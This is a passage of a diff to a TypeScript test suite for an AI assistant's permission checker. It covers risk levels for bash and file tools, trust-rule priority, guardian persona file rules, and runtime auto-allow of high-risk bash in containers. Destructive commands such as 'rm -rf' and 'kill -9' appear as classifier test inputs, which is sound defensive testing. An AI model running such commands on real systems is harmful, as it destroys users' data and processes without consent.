- RiskLevel.Low,
578
- );
664
+ expect(
665
+ (await classifyRisk("bash", { command: "command -v rm" })).level,
666
+ ).toBe(RiskLevel.Low);
579
667
  });
580
668
 
581
669
  test("command -V is low risk (read-only lookup)", async () => {
582
- expect(await classifyRisk("bash", { command: "command -V sudo" })).toBe(
583
- RiskLevel.Low,
584
- );
670
+ expect(
671
+ (await classifyRisk("bash", { command: "command -V sudo" })).level,
672
+ ).toBe(RiskLevel.Low);
585
673
  });
586
674
 
587
675
  test("command without -v/-V flag escalates wrapped program", async () => {
588
676
  expect(
589
- await classifyRisk("bash", { command: "command rm file.txt" }),
677
+ (await classifyRisk("bash", { command: "command rm file.txt" }))
678
+ .level,
590
679
  ).toBe(RiskLevel.High);
591
680
  });
592
681
 
593
682
  test("rm BOOTSTRAP.md (bare safe file) is medium risk", async () => {
594
- expect(await classifyRisk("bash", { command: "rm BOOTSTRAP.md" })).toBe(
595
- RiskLevel.Medium,
596
- );
683
+ expect(
684
+ (await classifyRisk("bash", { command: "rm BOOTSTRAP.md" })).level,
685
+ ).toBe(RiskLevel.Medium);
597
686
  });
598
687
 
599
688
  test("rm UPDATES.md (bare safe file) is medium risk", async () => {
600
- expect(await classifyRisk("bash", { command: "rm UPDATES.md" })).toBe(
601
- RiskLevel.Medium,
602
- );
689
+ expect(
690
+ (await classifyRisk("bash", { command: "rm UPDATES.md" })).level,
691
+ ).toBe(RiskLevel.Medium);
603
692
  });
604
693
 
605
694
  test("rm -rf BOOTSTRAP.md is still high risk (flags present)", async () => {
606
695
  expect(
607
- await classifyRisk("bash", { command: "rm -rf BOOTSTRAP.md" }),
696
+ (await classifyRisk("bash", { command: "rm -rf BOOTSTRAP.md" }))
697
+ .level,
608
698
  ).toBe(RiskLevel.High);
609
699
  });
610
700
 
611
701
  test("rm /path/to/BOOTSTRAP.md is still high risk (path separator)", async () => {
612
702
  expect(
613
- await classifyRisk("bash", { command: "rm /path/to/BOOTSTRAP.md" }),
703
+ (await classifyRisk("bash", { command: "rm /path/to/BOOTSTRAP.md" }))
704
+ .level,
614
705
  ).toBe(RiskLevel.High);
615
706
  });
616
707
 
617
708
  test("rm BOOTSTRAP.md other.txt is still high risk (multiple targets)", async () => {
618
709
  expect(
619
- await classifyRisk("bash", { command: "rm BOOTSTRAP.md other.txt" }),
710
+ (await classifyRisk("bash", { command: "rm BOOTSTRAP.md other.txt" }))
711
+ .level,
620
712
  ).toBe(RiskLevel.High);
621
713
  });
622
714
 
623
715
  test("rm somefile.md is still high risk (not a known safe file)", async () => {
624
- expect(await classifyRisk("bash", { command: "rm somefile.md" })).toBe(
625
- RiskLevel.High,
626
- );
716
+ expect(
717
+ (await classifyRisk("bash", { command: "rm somefile.md" })).level,
718
+ ).toBe(RiskLevel.High);
627
719
  });
628
720
  });
629
721
 
630
722
  // unknown tool
631
723
  describe("unknown tool", () => {
632
724
  test("unknown tool name is medium risk", async () => {
633
- expect(await classifyRisk("unknown_tool", {})).toBe(RiskLevel.Medium);
725
+ expect((await classifyRisk("unknown_tool", {})).level).toBe(
726
+ RiskLevel.Medium,
727
+ );
634
728
  });
635
729
  });
636
730
  });
@@ -796,7 +890,8 @@ describe("Permission Checker", () => {
796
890
 
797
891
  test("host_bash reuses bash-style command matching", async () => {
798
892
  addRule("host_bash", "npm *", "everywhere", "allow", 2000);
799
- const result = await check("host_bash", { command: "npm test" }, "/tmp");
893
+ // npm list is low-risk and matches the npm * allow rule
894
+ const result = await check("host_bash", { command: "npm list" }, "/tmp");
800
895
  expect(result.decision).toBe("allow");
801
896
  expect(result.matchedRule?.pattern).toBe("npm *");
802
897
  });
@@ -1081,21 +1176,23 @@ describe("Permission Checker", () => {
1081
1176
  expect(result.decision).toBe("prompt");
1082
1177
  });
1083
1178
 
1084
- test("web_fetch allowHighRisk rule can approve private-network fetches", async () => {
1179
+ test("web_fetch private-network fetch with allow rule still prompts (high risk, non-bash tool)", async () => {
1180
+ // allowHighRisk is no longer a persisted field — high-risk auto-allow
1181
+ // is determined at runtime by shouldAutoAllowHighRisk(), which only
1182
+ // covers containerized bash. Non-bash high-risk tools always prompt.
1085
1183
  addRule(
1086
1184
  "web_fetch",
1087
1185
  "web_fetch:http://localhost:3000/*",
1088
1186
  "/tmp",
1089
1187
  "allow",
1090
1188
  100,
1091
- { allowHighRisk: true },
1092
1189
  );
1093
1190
  const result = await check(
1094
1191
  "web_fetch",
1095
1192
  { url: "http://localhost:3000/health", allow_private_network: true },
1096
1193
  "/tmp",
1097
1194
  );
1098
- expect(result.decision).toBe("allow");
1195
+ expect(result.decision).toBe("prompt");
1099
1196
  });
1100
1197
 
1101
1198
  test("web_fetch exact allowlist pattern matches query urls literally", async () => {
@@ -1271,7 +1368,7 @@ describe("Permission Checker", () => {
1271
1368
  expect(result.decision).toBe("deny");
1272
1369
  });
1273
1370
 
1274
- test("network_request rule is scoped to working directory", async () => {
1371
+ test("network_request rule ignores scope (URL tools are not scoped)", async () => {
1275
1372
  addRule(
1276
1373
  "network_request",
1277
1374
  "network_request:https://api.example.com/*",
@@ -1283,12 +1380,15 @@ describe("Permission Checker", () => {
1283
1380
  "/home/user/project",
1284
1381
  );
1285
1382
  expect(allowed.decision).toBe("allow");
1286
- const notAllowed = await check(
1383
+ // URL tools (network_request) do not support scope — the rule matches
1384
+ // regardless of working directory because scope is stripped during
1385
+ // normalization.
1386
+ const alsoAllowed = await check(
1287
1387
  "network_request",
1288
1388
  { url: "https://api.example.com/v1/data" },
1289
1389
  "/tmp/other",
1290
1390
  );
1291
- expect(notAllowed.decision).toBe("prompt");
1391
+ expect(alsoAllowed.decision).toBe("allow");
1292
1392
  });
1293
1393
 
1294
1394
  test("network_request rules do not cross-match web_fetch rules", async () => {
@@ -1318,11 +1418,13 @@ describe("Permission Checker", () => {
1318
1418
 
1319
1419
  // Priority-based rule resolution
1320
1420
  test("higher-priority allow rule overrides lower-priority deny rule", async () => {
1321
- addRule("bash", "chmod *", "/tmp", "deny", 0);
1322
- addRule("bash", "chmod *", "/tmp", "allow", 100);
1421
+ // Use git push (medium risk) since chmod is now high-risk in the registry
1422
+ // and high-risk commands are never auto-allowed by allow rules
1423
+ addRule("bash", "git push *", "/tmp", "deny", 0);
1424
+ addRule("bash", "git push *", "/tmp", "allow", 100);
1323
1425
  const result = await check(
1324
1426
  "bash",
1325
- { command: "chmod 644 file.txt" },
1427
+ { command: "git push origin main" },
1326
1428
  "/tmp",
1327
1429
  );
1328
1430
  expect(result.decision).toBe("allow");
@@ -1455,7 +1557,7 @@ describe("Permission Checker", () => {
1455
1557
  // reason discriminator to verify it's the high-risk fallback path, not
1456
1558
  // the generic skill-tool default-ask policy.
1457
1559
  expect(result.decision).toBe("prompt");
1458
- expect(result.reason).toContain("High risk");
1560
+ expect(result.reason).toContain("high risk");
1459
1561
  });
1460
1562
  });
1461
1563
 
@@ -1473,14 +1575,6 @@ describe("Permission Checker", () => {
1473
1575
  expect(result.matchedRule!.id).toBe("default:allow-file_edit-identity");
1474
1576
  });
1475
1577
 
1476
- test("file_read of workspace USER.md is auto-allowed", async () => {
1477
- const userPath = join(checkerTestDir, "USER.md");
1478
- const result = await check("file_read", { path: userPath }, "/tmp");
1479
- expect(result.decision).toBe("allow");
1480
- expect(result.matchedRule).toBeDefined();
1481
- expect(result.matchedRule!.id).toBe("default:allow-file_read-user");
1482
- });
1483
-
1484
1578
  test("file_write of workspace SOUL.md is auto-allowed", async () => {
1485
1579
  const soulPath = join(checkerTestDir, "SOUL.md");
1486
1580
  const result = await check("file_write", { path: soulPath }, "/tmp");
@@ -1528,6 +1622,106 @@ describe("Permission Checker", () => {
1528
1622
  // Low risk → auto-allowed even outside workspace
1529
1623
  expect(result.decision).toBe("allow");
1530
1624
  });
1625
+
1626
+ // ── guardian persona file (users/<slug>.md) ──────────────────
1627
+ // The per-user persona file lives at `users/<guardian-slug>.md`.
1628
+ // Dynamic guardian-persona default rules auto-allow reads and
1629
+ // edits of this file.
1630
+
1631
+ test("file_edit of guardian users/<slug>.md is auto-allowed", async () => {
1632
+ const guardianPath = join(checkerTestDir, "users", "alice.md");
1633
+ mockGuardianPersonaPath = guardianPath;
1634
+ const result = await check("file_edit", { path: guardianPath }, "/tmp");
1635
+ expect(result.decision).toBe("allow");
1636
+ expect(result.matchedRule).toBeDefined();
1637
+ expect(result.matchedRule!.id).toBe(
1638
+ "default:allow-file_edit-guardian-persona",
1639
+ );
1640
+ });
1641
+
1642
+ test("file_read of guardian users/<slug>.md is auto-allowed", async () => {
1643
+ const guardianPath = join(checkerTestDir, "users", "alice.md");
1644
+ mockGuardianPersonaPath = guardianPath;
1645
+ const result = await check("file_read", { path: guardianPath }, "/tmp");
1646
+ expect(result.decision).toBe("allow");
1647
+ expect(result.matchedRule).toBeDefined();
1648
+ expect(result.matchedRule!.id).toBe(
1649
+ "default:allow-file_read-guardian-persona",
1650
+ );
1651
+ });
1652
+
1653
+ test("file_write of guardian users/<slug>.md is auto-allowed", async () => {
1654
+ const guardianPath = join(checkerTestDir, "users", "alice.md");
1655
+ mockGuardianPersonaPath = guardianPath;
1656
+ const result = await check("file_write", { path: guardianPath }, "/tmp");
1657
+ expect(result.decision).toBe("allow");
1658
+ expect(result.matchedRule).toBeDefined();
1659
+ expect(result.matchedRule!.id).toBe(
1660
+ "default:allow-file_write-guardian-persona",
1661
+ );
1662
+ });
1663
+
1664
+ test("getDefaultRuleTemplates emits guardian persona rules when guardian is resolved", () => {
1665
+ const guardianPath = join(checkerTestDir, "users", "alice.md");
1666
+ mockGuardianPersonaPath = guardianPath;
1667
+ const templates = getDefaultRuleTemplates();
1668
+ const guardianRules = templates.filter((t) =>
1669
+ t.id.endsWith("-guardian-persona"),
1670
+ );
1671
+ // One rule each for file_read, file_write, file_edit.
1672
+ expect(guardianRules).toHaveLength(3);
1673
+ for (const rule of guardianRules) {
1674
+ expect(rule.decision).toBe("allow");
1675
+ expect(rule.priority).toBe(100);
1676
+ expect(rule.scope).toBe("everywhere");
1677
+ expect(rule.pattern).toBe(`${rule.tool}:${guardianPath}`);
1678
+ }
1679
+ });
1680
+
1681
+ test("getDefaultRuleTemplates emits no guardian persona rules when unresolved", () => {
1682
+ mockGuardianPersonaPath = null;
1683
+ const templates = getDefaultRuleTemplates();
1684
+ const guardianRules = templates.filter((t) =>
1685
+ t.id.endsWith("-guardian-persona"),
1686
+ );
1687
+ expect(guardianRules).toHaveLength(0);
1688
+ });
1689
+
1690
+ test("glob metacharacters in guardian path are escaped and match only the literal file", async () => {
1691
+ // A legacy/imported contact whose userFile contains glob metacharacters
1692
+ // must not broaden the auto-allow rule into a wildcard match.
1693
+ const weirdDir = join(checkerTestDir, "users");
1694
+ const guardianPath = join(weirdDir, "weird[slug]*.md");
1695
+ const siblingPath = join(weirdDir, "weirdX.md");
1696
+ mockGuardianPersonaPath = guardianPath;
1697
+
1698
+ const templates = getDefaultRuleTemplates();
1699
+ const guardianRules = templates.filter((t) =>
1700
+ t.id.endsWith("-guardian-persona"),
1701
+ );
1702
+ expect(guardianRules).toHaveLength(3);
1703
+ for (const rule of guardianRules) {
1704
+ // Pattern must contain escaped metacharacters, not bare wildcards.
1705
+ expect(rule.pattern).not.toBe(`${rule.tool}:${guardianPath}`);
1706
+ expect(rule.pattern).toContain("\\[");
1707
+ expect(rule.pattern).toContain("\\]");
1708
+ expect(rule.pattern).toContain("\\*");
1709
+ }
1710
+
1711
+ // Literal guardian path is auto-allowed.
1712
+ const literal = await check("file_edit", { path: guardianPath }, "/tmp");
1713
+ expect(literal.decision).toBe("allow");
1714
+ expect(literal.matchedRule?.id).toBe(
1715
+ "default:allow-file_edit-guardian-persona",
1716
+ );
1717
+
1718
+ // A sibling file that would match if `*` / `[...]` were treated as
1719
+ // wildcards must NOT match the dynamic guardian-persona rule.
1720
+ const sibling = await check("file_edit", { path: siblingPath }, "/tmp");
1721
+ expect(sibling.matchedRule?.id).not.toBe(
1722
+ "default:allow-file_edit-guardian-persona",
1723
+ );
1724
+ });
1531
1725
  });
1532
1726
 
1533
1727
  // ── generateAllowlistOptions ───────────────────────────────────
@@ -1969,9 +2163,6 @@ describe("Permission Checker", () => {
1969
2163
  test("returns empty for non-scoped tools", () => {
1970
2164
  const workingDir = join(homedir(), "projects", "myapp");
1971
2165
  expect(generateScopeOptions(workingDir, "web_fetch")).toHaveLength(0);
1972
- expect(generateScopeOptions(workingDir, "browser_navigate")).toHaveLength(
1973
- 0,
1974
- );
1975
2166
  expect(generateScopeOptions(workingDir, "skill_load")).toHaveLength(0);
1976
2167
  expect(generateScopeOptions(workingDir, "credential_store")).toHaveLength(
1977
2168
  0,
@@ -2030,14 +2221,14 @@ describe("Permission Checker", () => {
2030
2221
  "executor.ts",
2031
2222
  );
2032
2223
  const risk = await classifyRisk("file_write", { path: skillPath });
2033
- expect(risk).toBe(RiskLevel.High);
2224
+ expect(risk.level).toBe(RiskLevel.High);
2034
2225
  });
2035
2226
 
2036
2227
  test("file_edit of skill file is High risk", async () => {
2037
2228
  ensureSkillsDir();
2038
2229
  const skillPath = join(checkerTestDir, "skills", "my-skill", "SKILL.md");
2039
2230
  const risk = await classifyRisk("file_edit", { path: skillPath });
2040
- expect(risk).toBe(RiskLevel.High);
2231
+ expect(risk.level).toBe(RiskLevel.High);
2041
2232
  });
2042
2233
 
2043
2234
  test("file_read of skill file is still Low risk (reads not escalated)", async () => {
@@ -2049,7 +2240,7 @@ describe("Permission Checker", () => {
2049
2240
  "TOOLS.json",
2050
2241
  );
2051
2242
  const risk = await classifyRisk("file_read", { path: skillPath });
2052
- expect(risk).toBe(RiskLevel.Low);
2243
+ expect(risk.level).toBe(RiskLevel.Low);
2053
2244
  });
2054
2245
 
2055
2246
  test("file_write to skill directory prompts via default ask rule", async () => {
@@ -2078,11 +2269,11 @@ describe("Permission Checker", () => {
2078
2269
  );
2079
2270
  addRule("file_write", `file_write:${checkerTestDir}/skills/**`, "/tmp");
2080
2271
  const result = await check("file_write", { path: skillPath }, "/tmp");
2081
- // High risk requires explicit allowHighRiska plain allow rule is insufficient.
2272
+ // High risk with allow rule prompts shouldAutoAllowHighRisk() only covers containerized bash.
2082
2273
  expect(result.decision).toBe("prompt");
2083
2274
  });
2084
2275
 
2085
- test("file_write to skill directory is allowed with allowHighRisk: true rule", async () => {
2276
+ test("file_write to skill directory with allow rule still prompts (high risk, non-bash tool)", async () => {
2086
2277
  ensureSkillsDir();
2087
2278
  const skillPath = join(
2088
2279
  checkerTestDir,
@@ -2096,11 +2287,10 @@ describe("Permission Checker", () => {
2096
2287
  "/tmp",
2097
2288
  "allow",
2098
2289
  2000,
2099
- { allowHighRisk: true },
2100
2290
  );
2101
2291
  const result = await check("file_write", { path: skillPath }, "/tmp");
2102
- expect(result.decision).toBe("allow");
2103
- expect(result.reason).toContain("high-risk trust rule");
2292
+ // Non-bash high-risk tools always prompt regardless of allow rules.
2293
+ expect(result.decision).toBe("prompt");
2104
2294
  });
2105
2295
 
2106
2296
  test("host_file_write to skill directory prompts (High risk overrides host ask rule)", async () => {
@@ -2123,7 +2313,7 @@ describe("Permission Checker", () => {
2123
2313
  ensureSkillsDir();
2124
2314
  const skillPath = join(checkerTestDir, "skills", "my-skill", "SKILL.md");
2125
2315
  const risk = await classifyRisk("host_file_edit", { path: skillPath });
2126
- expect(risk).toBe(RiskLevel.High);
2316
+ expect(risk.level).toBe(RiskLevel.High);
2127
2317
  });
2128
2318
 
2129
2319
  test("host_file_write to skill directory is High risk", async () => {
@@ -2135,19 +2325,19 @@ describe("Permission Checker", () => {
2135
2325
  "executor.ts",
2136
2326
  );
2137
2327
  const risk = await classifyRisk("host_file_write", { path: skillPath });
2138
- expect(risk).toBe(RiskLevel.High);
2328
+ expect(risk.level).toBe(RiskLevel.High);
2139
2329
  });
2140
2330
 
2141
2331
  test("file_write to non-skill path is Low risk", async () => {
2142
2332
  const normalPath = "/tmp/some-file.txt";
2143
2333
  const risk = await classifyRisk("file_write", { path: normalPath });
2144
- expect(risk).toBe(RiskLevel.Low);
2334
+ expect(risk.level).toBe(RiskLevel.Low);
2145
2335
  });
2146
2336
 
2147
2337
  test("file_edit of non-skill path is Low risk", async () => {
2148
2338
  const normalPath = "/tmp/some-file.txt";
2149
2339
  const risk = await classifyRisk("file_edit", { path: normalPath });
2150
- expect(risk).toBe(RiskLevel.Low);
2340
+ expect(risk.level).toBe(RiskLevel.Low);
2151
2341
  });
2152
2342
 
2153
2343
  test("file_write to hooks directory is High risk", async () => {
@@ -2159,14 +2349,14 @@ describe("Permission Checker", () => {
2159
2349
  "hook.sh",
2160
2350
  );
2161
2351
  const risk = await classifyRisk("file_write", { path: hookPath });
2162
- expect(risk).toBe(RiskLevel.High);
2352
+ expect(risk.level).toBe(RiskLevel.High);
2163
2353
  });
2164
2354
 
2165
2355
  test("file_edit of hooks config is High risk", async () => {
2166
2356
  ensureHooksDir();
2167
2357
  const configPath = join(checkerTestDir, "hooks", "config.json");
2168
2358
  const risk = await classifyRisk("file_edit", { path: configPath });
2169
- expect(risk).toBe(RiskLevel.High);
2359
+ expect(risk.level).toBe(RiskLevel.High);
2170
2360
  });
2171
2361
 
2172
2362
  test("file_write to hooks directory prompts as High risk", async () => {
@@ -2190,26 +2380,26 @@ describe("Permission Checker", () => {
2190
2380
  "hook.sh",
2191
2381
  );
2192
2382
  const risk = await classifyRisk("host_file_write", { path: hookPath });
2193
- expect(risk).toBe(RiskLevel.High);
2383
+ expect(risk.level).toBe(RiskLevel.High);
2194
2384
  });
2195
2385
 
2196
2386
  test("host_file_edit of hooks config is High risk", async () => {
2197
2387
  ensureHooksDir();
2198
2388
  const configPath = join(checkerTestDir, "hooks", "config.json");
2199
2389
  const risk = await classifyRisk("host_file_edit", { path: configPath });
2200
- expect(risk).toBe(RiskLevel.High);
2390
+ expect(risk.level).toBe(RiskLevel.High);
2201
2391
  });
2202
2392
 
2203
2393
  test("host_file_write to non-skill path remains Medium risk (via registry)", async () => {
2204
2394
  const normalPath = "/tmp/some-file.txt";
2205
2395
  const risk = await classifyRisk("host_file_write", { path: normalPath });
2206
- expect(risk).toBe(RiskLevel.Medium);
2396
+ expect(risk.level).toBe(RiskLevel.Medium);
2207
2397
  });
2208
2398
 
2209
2399
  test("host_file_edit of non-skill path remains Medium risk (via registry)", async () => {
2210
2400
  const normalPath = "/tmp/some-file.txt";
2211
2401
  const risk = await classifyRisk("host_file_edit", { path: normalPath });
2212
- expect(risk).toBe(RiskLevel.Medium);
2402
+ expect(risk.level).toBe(RiskLevel.Medium);
2213
2403
  });
2214
2404
  });
2215
2405
 
@@ -2240,7 +2430,6 @@ describe("Permission Checker", () => {
2240
2430
  "id",
2241
2431
  "pattern",
2242
2432
  "priority",
2243
- "scope",
2244
2433
  "tool",
2245
2434
  ]);
2246
2435
  });
@@ -2280,6 +2469,107 @@ describe("Permission Checker", () => {
2280
2469
  });
2281
2470
  });
2282
2471
 
2472
+ // ── Family-aware rule shape regression ─────────────────────────
2473
+ //
2474
+ // Validates that trust rules conform to canonical family-aware shapes
2475
+ // after disk round-trips. The canonical parser in ces-contracts strips
2476
+ // fields that are invalid for a rule's tool family (for example,
2477
+ // executionTarget on non-scoped tools).
2478
+ //
2479
+ // Platform proxy compatibility gate: test_runtime_proxy_api.py (245 tests)
2480
+ // was validated as part of the trust-rule-union-compat plan. The proxy
2481
+ // tests live in vellum-assistant-platform and confirmed that the
2482
+ // family-aware union type changes are wire-compatible with the platform.
2483
+
2484
+ describe("family-aware rule shape regression", () => {
2485
+ test("scoped tool (bash) preserves executionTarget through disk round-trip (allowHighRisk stripped)", () => {
2486
+ const rule = addRule("bash", "kill *", "everywhere", "allow", 100, {
2487
+ executionTarget: "/usr/local/bin/node",
2488
+ });
2489
+ expect(rule.executionTarget).toBe("/usr/local/bin/node");
2490
+
2491
+ // Force a disk round-trip by clearing the cache and re-reading
2492
+ clearCache();
2493
+ const reloaded = findHighestPriorityRule(
2494
+ "bash",
2495
+ ["kill -9 1234"],
2496
+ "/tmp",
2497
+ { executionTarget: "/usr/local/bin/node" },
2498
+ );
2499
+ expect(reloaded).not.toBeNull();
2500
+ expect(reloaded!.executionTarget).toBe("/usr/local/bin/node");
2501
+ });
2502
+
2503
+ test("URL tool (web_fetch) round-trips without allowHighRisk", () => {
2504
+ addRule(
2505
+ "web_fetch",
2506
+ "web_fetch:http://localhost:3000/*",
2507
+ "/tmp",
2508
+ "allow",
2509
+ 100,
2510
+ );
2511
+
2512
+ // Force a disk round-trip.
2513
+ clearCache();
2514
+ const reloaded = findHighestPriorityRule(
2515
+ "web_fetch",
2516
+ ["web_fetch:http://localhost:3000/health"],
2517
+ "/tmp",
2518
+ );
2519
+ expect(reloaded).not.toBeNull();
2520
+ expect(reloaded!.pattern).toBe("web_fetch:http://localhost:3000/*");
2521
+ });
2522
+
2523
+ test("generic tool (skill_test_tool) preserves executionTarget through round-trip", () => {
2524
+ addRule("skill_test_tool", "skill_test_tool:*", "/tmp", "allow", 2000);
2525
+
2526
+ clearCache();
2527
+ const reloaded = findHighestPriorityRule(
2528
+ "skill_test_tool",
2529
+ ["skill_test_tool:test"],
2530
+ "/tmp",
2531
+ );
2532
+ expect(reloaded).not.toBeNull();
2533
+ expect(reloaded!.pattern).toBe("skill_test_tool:*");
2534
+ });
2535
+
2536
+ test("rule without scope defaults to 'everywhere' after parsing", () => {
2537
+ // Write a rule directly with no scope field to simulate legacy data
2538
+ const trustPath = join(checkerTestDir, "protected", "trust.json");
2539
+ const trustDir = join(checkerTestDir, "protected");
2540
+ if (!existsSync(trustDir)) mkdirSync(trustDir, { recursive: true });
2541
+ writeFileSync(
2542
+ trustPath,
2543
+ JSON.stringify({
2544
+ version: 3,
2545
+ rules: [
2546
+ {
2547
+ id: "test-no-scope",
2548
+ tool: "bash",
2549
+ pattern: "echo *",
2550
+ decision: "allow",
2551
+ priority: 100,
2552
+ createdAt: Date.now(),
2553
+ // No scope field — should default to "everywhere"
2554
+ },
2555
+ ],
2556
+ }),
2557
+ );
2558
+ clearCache();
2559
+
2560
+ const reloaded = findHighestPriorityRule(
2561
+ "bash",
2562
+ ["echo hello"],
2563
+ "/any/path",
2564
+ );
2565
+ // The rule matches from any scope because missing scope
2566
+ // is normalized to "everywhere" by the canonical parser.
2567
+ expect(reloaded).not.toBeNull();
2568
+ expect(reloaded!.id).toBe("test-no-scope");
2569
+ expect(reloaded!.scope).toBe("everywhere");
2570
+ });
2571
+ });
2572
+
2283
2573
  // ── PolicyContext type (PR 3) ──────────────────────────────────
2284
2574
 
2285
2575
  describe("PolicyContext type (PR 3)", () => {
@@ -2395,34 +2685,48 @@ describe("Permission Checker", () => {
2395
2685
  });
2396
2686
  });
2397
2687
 
2398
- // ── persistent high-risk allow rules (PR 22) ──────────────────
2399
-
2400
- describe("persistent high-risk allow rules (PR 22)", () => {
2401
- test("high-risk tool with allowHighRisk: true allow rule returns allow", async () => {
2402
- addRule("bash", "kill *", "everywhere", "allow", 2000, {
2403
- allowHighRisk: true,
2404
- });
2405
- const result = await check("bash", { command: "kill -9 1234" }, "/tmp");
2406
- expect(result.decision).toBe("allow");
2407
- expect(result.reason).toContain("high-risk trust rule");
2408
- expect(result.matchedRule).toBeDefined();
2409
- expect(result.matchedRule!.allowHighRisk).toBe(true);
2410
- });
2688
+ // ── runtime high-risk auto-allow (replaces persistent allowHighRisk) ──
2411
2689
 
2412
- test("high-risk tool with allow rule WITHOUT allowHighRisk still prompts", async () => {
2690
+ describe("runtime high-risk auto-allow (shouldAutoAllowHighRisk)", () => {
2691
+ test("high-risk bash with allow rule in non-containerized environment prompts", async () => {
2413
2692
  addRule("bash", "kill *", "everywhere", "allow", 2000);
2414
2693
  const result = await check("bash", { command: "kill -9 1234" }, "/tmp");
2415
2694
  expect(result.decision).toBe("prompt");
2416
2695
  expect(result.reason).toContain("High risk");
2417
2696
  });
2418
2697
 
2419
- test("high-risk tool with allowHighRisk: false still prompts", async () => {
2420
- addRule("bash", "kill *", "everywhere", "allow", 2000, {
2421
- allowHighRisk: false,
2422
- });
2423
- const result = await check("bash", { command: "kill -9 1234" }, "/tmp");
2424
- expect(result.decision).toBe("prompt");
2425
- expect(result.reason).toContain("High risk");
2698
+ test("high-risk bash with allow rule in containerized environment auto-allows", async () => {
2699
+ // Add rule via file backend (IS_CONTAINERIZED is false in test env).
2700
+ addRule("bash", "**", "everywhere", "allow", 2000);
2701
+
2702
+ // Capture the file-backend result so we can return it from the spy.
2703
+ // We need this because setting getIsContainerized=true would route
2704
+ // getTrustStore() to the gateway backend (no server in CI).
2705
+ const fileRule = findHighestPriorityRule(
2706
+ "bash",
2707
+ ["kill -9 1234"],
2708
+ "/tmp",
2709
+ );
2710
+ expect(fileRule).not.toBeNull();
2711
+
2712
+ // Spy on findHighestPriorityRule to bypass getTrustStore routing,
2713
+ // and on getIsContainerized so shouldAutoAllowHighRisk returns true.
2714
+ const ruleSpy = spyOn(
2715
+ trustStoreModule,
2716
+ "findHighestPriorityRule",
2717
+ ).mockReturnValue(fileRule);
2718
+ const containerSpy = spyOn(
2719
+ envRegistry,
2720
+ "getIsContainerized",
2721
+ ).mockReturnValue(true);
2722
+ try {
2723
+ const result = await check("bash", { command: "kill -9 1234" }, "/tmp");
2724
+ expect(result.decision).toBe("allow");
2725
+ expect(result.reason).toContain("auto-allow-high-risk context");
2726
+ } finally {
2727
+ ruleSpy.mockRestore();
2728
+ containerSpy.mockRestore();
2729
+ }
2426
2730
  });
2427
2731
 
2428
2732
  test("high-risk host_bash with no matching user rule returns prompt", async () => {
@@ -2439,76 +2743,57 @@ describe("Permission Checker", () => {
2439
2743
  expect(result.decision).toBe("prompt");
2440
2744
  });
2441
2745
 
2442
- test("medium-risk tool with allow rule is NOT affected by allowHighRisk", async () => {
2443
- addRule("bash", "chmod *", "/tmp", "allow", 100);
2746
+ test("medium-risk tool with allow rule auto-allows normally", async () => {
2747
+ // Use git push (medium risk) since chmod is now high-risk in the registry
2748
+ addRule("bash", "git push *", "/tmp", "allow", 100);
2444
2749
  const result = await check(
2445
2750
  "bash",
2446
- { command: "chmod 644 file.txt" },
2751
+ { command: "git push origin main" },
2447
2752
  "/tmp",
2448
2753
  );
2449
2754
  expect(result.decision).toBe("allow");
2450
2755
  expect(result.reason).toContain("Matched trust rule");
2451
- // No mention of high-risk in the reason
2452
- expect(result.reason).not.toContain("high-risk");
2453
2756
  });
2454
2757
 
2455
- test("high-risk scaffold_managed_skill with allowHighRisk: true returns allow", async () => {
2758
+ test("high-risk scaffold_managed_skill with allow rule prompts (non-bash, no runtime auto-allow)", async () => {
2456
2759
  addRule(
2457
2760
  "scaffold_managed_skill",
2458
2761
  "scaffold_managed_skill:my-skill",
2459
2762
  "everywhere",
2460
2763
  "allow",
2461
2764
  2000,
2462
- { allowHighRisk: true },
2463
2765
  );
2464
2766
  const result = await check(
2465
2767
  "scaffold_managed_skill",
2466
2768
  { skill_id: "my-skill" },
2467
2769
  "/tmp",
2468
2770
  );
2469
- expect(result.decision).toBe("allow");
2470
- expect(result.reason).toContain("high-risk trust rule");
2771
+ expect(result.decision).toBe("prompt");
2471
2772
  });
2472
2773
 
2473
- test("high-risk delete_managed_skill with allowHighRisk: true returns allow", async () => {
2774
+ test("high-risk delete_managed_skill with allow rule prompts (non-bash, no runtime auto-allow)", async () => {
2474
2775
  addRule(
2475
2776
  "delete_managed_skill",
2476
2777
  "delete_managed_skill:*",
2477
2778
  "everywhere",
2478
2779
  "allow",
2479
2780
  2000,
2480
- { allowHighRisk: true },
2481
2781
  );
2482
2782
  const result = await check(
2483
2783
  "delete_managed_skill",
2484
2784
  { skill_id: "any-skill" },
2485
2785
  "/tmp",
2486
2786
  );
2487
- expect(result.decision).toBe("allow");
2488
- expect(result.reason).toContain("high-risk trust rule");
2787
+ expect(result.decision).toBe("prompt");
2489
2788
  });
2490
2789
 
2491
- test("deny rule still takes precedence over allowHighRisk allow rule", async () => {
2492
- addRule("bash", "kill *", "everywhere", "allow", 100, {
2493
- allowHighRisk: true,
2494
- });
2790
+ test("deny rule still takes precedence over allow rule for high-risk", async () => {
2791
+ addRule("bash", "kill *", "everywhere", "allow", 100);
2495
2792
  addRule("bash", "kill *", "everywhere", "deny", 200);
2496
2793
  const result = await check("bash", { command: "kill -9 1234" }, "/tmp");
2497
2794
  expect(result.decision).toBe("deny");
2498
2795
  expect(result.reason).toContain("deny rule");
2499
2796
  });
2500
-
2501
- test("allowHighRisk persists through addRule", () => {
2502
- const rule = addRule("bash", "kill *", "everywhere", "allow", 100, {
2503
- allowHighRisk: true,
2504
- });
2505
- expect(rule.allowHighRisk).toBe(true);
2506
- });
2507
-
2508
- test("addRule without allowHighRisk option does not set the field", () => {
2509
- const rule = addRule("bash", "git *", "/tmp");
2510
- expect(rule.allowHighRisk).toBeUndefined();
2511
- });
2512
2797
  });
2513
2798
 
2514
2799
  // ── strict mode + high-risk integration tests (PR 25) ─────────
@@ -2525,19 +2810,7 @@ describe("Permission Checker", () => {
2525
2810
  expect(result.reason).toContain("Strict mode");
2526
2811
  });
2527
2812
 
2528
- test("strict mode: high-risk with allowHighRisk rule auto-allows", async () => {
2529
- testConfig.permissions.mode = "strict";
2530
- addRule("bash", "kill *", "everywhere", "allow", 2000, {
2531
- allowHighRisk: true,
2532
- });
2533
- const result = await check("bash", { command: "kill -9 1234" }, "/tmp");
2534
- expect(result.decision).toBe("allow");
2535
- expect(result.reason).toContain("high-risk trust rule");
2536
- expect(result.matchedRule).toBeDefined();
2537
- expect(result.matchedRule!.allowHighRisk).toBe(true);
2538
- });
2539
-
2540
- test("strict mode: high-risk with allow rule (no allowHighRisk) still prompts", async () => {
2813
